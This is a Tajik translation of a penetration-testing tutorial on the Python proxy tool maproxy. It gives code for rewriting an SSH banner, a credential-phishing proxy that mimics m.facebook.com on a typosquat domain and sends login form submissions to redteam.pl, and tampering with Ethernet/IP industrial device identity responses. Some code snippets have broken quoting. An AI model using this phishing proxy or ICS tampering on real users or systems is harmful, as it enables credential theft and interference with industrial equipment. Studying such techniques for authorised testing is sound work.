Маълумоти шабакаро дар парвоз коркард кунед

Тарҷумаи мақола дар арафаи оғози курс омода шудааст «Пентест. Амалияи санҷиши воридшавӣ".

Маълумоти шабакаро дар парвоз коркард кунед

Абстракт

Намудҳои гуногуни арзёбии амният, аз санҷиши мунтазами воридшавӣ ва амалиёти Red Team то ҳакерии дастгоҳҳои IoT/ICS ва SCADA, кор бо протоколҳои шабакаи дуӣ, яъне аслан боздошт ва тағир додани маълумоти шабакавӣ байни муштарӣ ва ҳадафро дар бар мегирад. Гирифтани трафики шабака кори душвор нест, зеро мо асбобҳое ба мисли Wireshark, Tcpdump ё Scapy дорем, аммо тағир додан кори бештар заҳматталаб ба назар мерасад, зеро барои хондани маълумоти шабакавӣ, филтр кардани он ва тағир додани он ба мо лозим меояд, ки як навъ интерфейс дошта бошем. онро дар парвоз ва тақрибан дар вақти воқеӣ ба мизбони мақсаднок баргардонед. Илова бар ин, беҳтарин мебуд, агар чунин асбоб метавонад ба таври худкор бо якчанд пайвастҳои мувозӣ кор кунад ва бо истифода аз скриптҳо танзимшаванда бошад.

Як рӯз ман асбоберо кашф кардам, ки ном дорад maproxy, хуччатхо зуд ба ман маълум карданд, ки maproxy - танҳо он чизе ки ба ман лозим аст. Ин прокси TCP хеле содда, гуногунҷанба ва ба осонӣ танзимшаванда аст. Ман ин асбобро дар якчанд барномаҳои хеле мураккаб, аз ҷумла дастгоҳҳои ICS (ки бастаҳои зиёде тавлид мекунанд) санҷидам, то бубинам, ки оё он метавонад бисёр пайвастҳои параллелро идора кунад ва асбоб хуб кор кард.

Ин мақола шуморо бо коркарди маълумоти шабакавӣ дар парвоз шинос мекунад maproxy.

шарҳ

Tool maproxy ба Tornado асос ёфтааст, як чаҳорчӯбаи шабакаи маъмул ва баркамол асинхронӣ дар Python.

Умуман, он метавонад дар якчанд режим кор кунад:

  • TCP:TCP – пайвастҳои рамзнашудаи TCP;
  • TCP:SSL и SSL:TCP – бо рамзгузории яктарафа;
  • SSL:SSL - рамзгузории дутарафа.

Он ҳамчун китобхона меояд. Барои оғози зуд, шумо метавонед файлҳои мисолеро, ки асосиро инъикос мекунанд, истифода баред вазифаҳои китобхона:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Ҳолати 1 – прокси оддии дуҷониба

Бар асоси tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

бо пешфарз ProxyServer() ду далел мегирад - макони пайвастшавӣ ва бандари ҳадаф. server.listen() як далел мегирад - порт барои гӯш кардани пайвасти воридотӣ.

Иҷрои скрипт:

# python tcp2tcp.py

Барои гузаронидани санҷиш, мо тавассути скрипти проксии худ, ки онро гӯш мекунад, ба сервери маҳаллии SSH пайваст мешавем. 2222/tcp порт ва ба порти стандартӣ пайваст мешавад 22/tcp Серверҳои SSH:

Маълумоти шабакаро дар парвоз коркард кунед

Баннери истиқбол ба шумо хабар медиҳад, ки скрипти намунавии мо трафики шабакаро бомуваффақият прокси кардааст.

Ҳолати 2 – тағир додани маълумот

Боз як скрипти намоишӣ logging_proxy.py беҳтарин барои ҳамкорӣ бо маълумоти шабака. Шарҳҳо дар файл усулҳои синфро тавсиф мекунанд, ки шумо метавонед барои расидан ба ҳадафатон тағир диҳед:

Маълумоти шабакаро дар парвоз коркард кунед

Аз ҳама ҷолиб ин аст:

  • on_c2p_done_read – боздоштани маълумот дар роҳ аз муштарӣ ба сервер;
  • on_p2s_done_read - баръакс.

Биёед кӯшиш кунем, ки парчами SSH-ро, ки сервер ба муштарӣ бармегардонад, тағир диҳем:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Скриптро иҷро кунед:

Маълумоти шабакаро дар парвоз коркард кунед

Тавре ки шумо мебинед, муштарӣ гумроҳ карда шуд, зеро номи сервери SSH барои ӯ иваз карда шуд «DumnySSH».

Маълумоти шабакаро дар парвоз коркард кунед

Мисоли 3 – саҳифаи интернетии фишингӣ

Роҳҳои беохири истифодаи ин асбоб вуҷуд доранд. Ин дафъа биёед ба як чизи амалӣтар аз ҷониби амалиёти дастаи Сурх тамаркуз кунем. Биёед ба саҳифаи фуруд тақлид кунем m.facebook.com ва домени фармоиширо бо хатои дидаю дониста истифода баред, масалан, m.facebok.com. Барои мақсадҳои намоишӣ, биёед фарз кунем, ки домен аз ҷониби мо ба қайд гирифта шудааст.

Мо бо прокси қурбониёни худ ва SSL Stream ба сервери Facebook пайвасти шабакаи рамзнашуда барқарор карданием (31.13.81.36). Барои кор кардани ин мисол, мо бояд сарлавҳаи мизбони HTTP-ро иваз кунем ва номи мизбони дурустро ворид кунем ва мо инчунин фишурдани посухро ғайрифаъол хоҳем кард, то ба мундариҷа ба осонӣ дастрасӣ пайдо кунем. Дар ниҳоят, мо шакли HTML-ро иваз хоҳем кард, то маълумоти эътимоднокии воридшавӣ ба мо ба ҷои серверҳои Facebook фиристода шавад:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/tg/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Дар маҷмӯъ:

Маълумоти шабакаро дар парвоз коркард кунед

Тавре ки шумо мебинед, мо тавонистем сайти аслиро бомуваффақият иваз кунем.

Ҳолати 4 – Портинги Ethernet/IP

Ман муддати тӯлонӣ бо дастгоҳҳо ва нармафзори саноатӣ (ICS/SCADA) сару кор дорам, аз қабили контроллерҳои барномарезишаванда (PLC), модулҳои I/O, дискҳо, релеҳо, муҳити барномасозии нардбон ва ғайра. Ин ҳолат барои онҳое аст, ки чизҳои саноатиро дӯст медоранд. Хакерӣ кардани чунин қарорҳо бозӣ фаъолона бо протоколҳои шабакавиро дар бар мегирад. Дар мисоли зерин ман мехоҳам нишон диҳам, ки чӣ тавр шумо метавонед трафики шабакаи ICS/SCADA-ро тағир диҳед.

Барои ин ба шумо чизҳои зерин лозиманд:

  • Снайфери шабакавӣ, масалан, Wireshark;
  • Ethernet/IP ё танҳо як дастгоҳи SIP, шумо метавонед онро бо истифода аз хидмати Shodan пайдо кунед;
  • Скрипти мо ба он асос ёфтааст maproxy.

Аввалан, биёед бубинем, ки вокуниши маъмулии мушаххас аз CIP (Протоколи умумии саноатӣ) чӣ гуна аст:

Маълумоти шабакаро дар парвоз коркард кунед

Муайянкунии дастгоҳ бо истифода аз протоколи Ethernet/IP анҷом дода мешавад, ки версияи мукаммали протоколи саноатии Ethernet мебошад, ки протоколҳои назоратӣ ба монанди CIP-ро фаро мегирад. Мо номи ID-и барҷастаеро, ки дар скриншот намоён аст, тағир медиҳем "NI-IndComm барои Ethernet" бо истифода аз скрипти прокси мо. Мо метавонем скриптро дубора истифода барем logging_proxy.py ва ба ҳамин монанд усули синфро тағир диҳед on_p2s_done_read, зеро мо мехоҳем, ки номи шахсияти дигар дар муштарӣ намоён бошад.

Кодекси

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Аслан, мо ду маротиба идентификатсияи дастгоҳро пурсидем, ҷавоби дуюм ҷавоби аслӣ буд ва ҷавоби аввал дар парвоз тағир дода шуд.

Ва охир

Дар фикри ман maproxy Асбоби қулай ва содда, ки он низ бо Python навишта шудааст, бинобар ин ман боварӣ дорам, ки шумо низ аз истифодаи он манфиат гирифта метавонед. Албатта, асбобҳои мураккабтар барои коркард ва тағир додани маълумоти шабака вуҷуд доранд, аммо онҳо инчунин таваҷҷӯҳи бештарро талаб мекунанд ва одатан барои як ҳолати мушаххаси истифода сохта мешаванд, масалан. Мураена, Модлишка ё evilginx барои ҳолатҳои монанд ба сеюм, ё canape барои парвандаи охирин. Бо ин ё он роҳ, бо кӯмак maproxy шумо метавонед идеяҳои худро барои гирифтани маълумоти шабакавӣ зуд амалӣ кунед, зеро скриптҳои намунавӣ хеле равшананд.

Санҷиши механизмҳои аутентификатсия дар Windows AD

Манбаъ: will.com

Илова Эзоҳ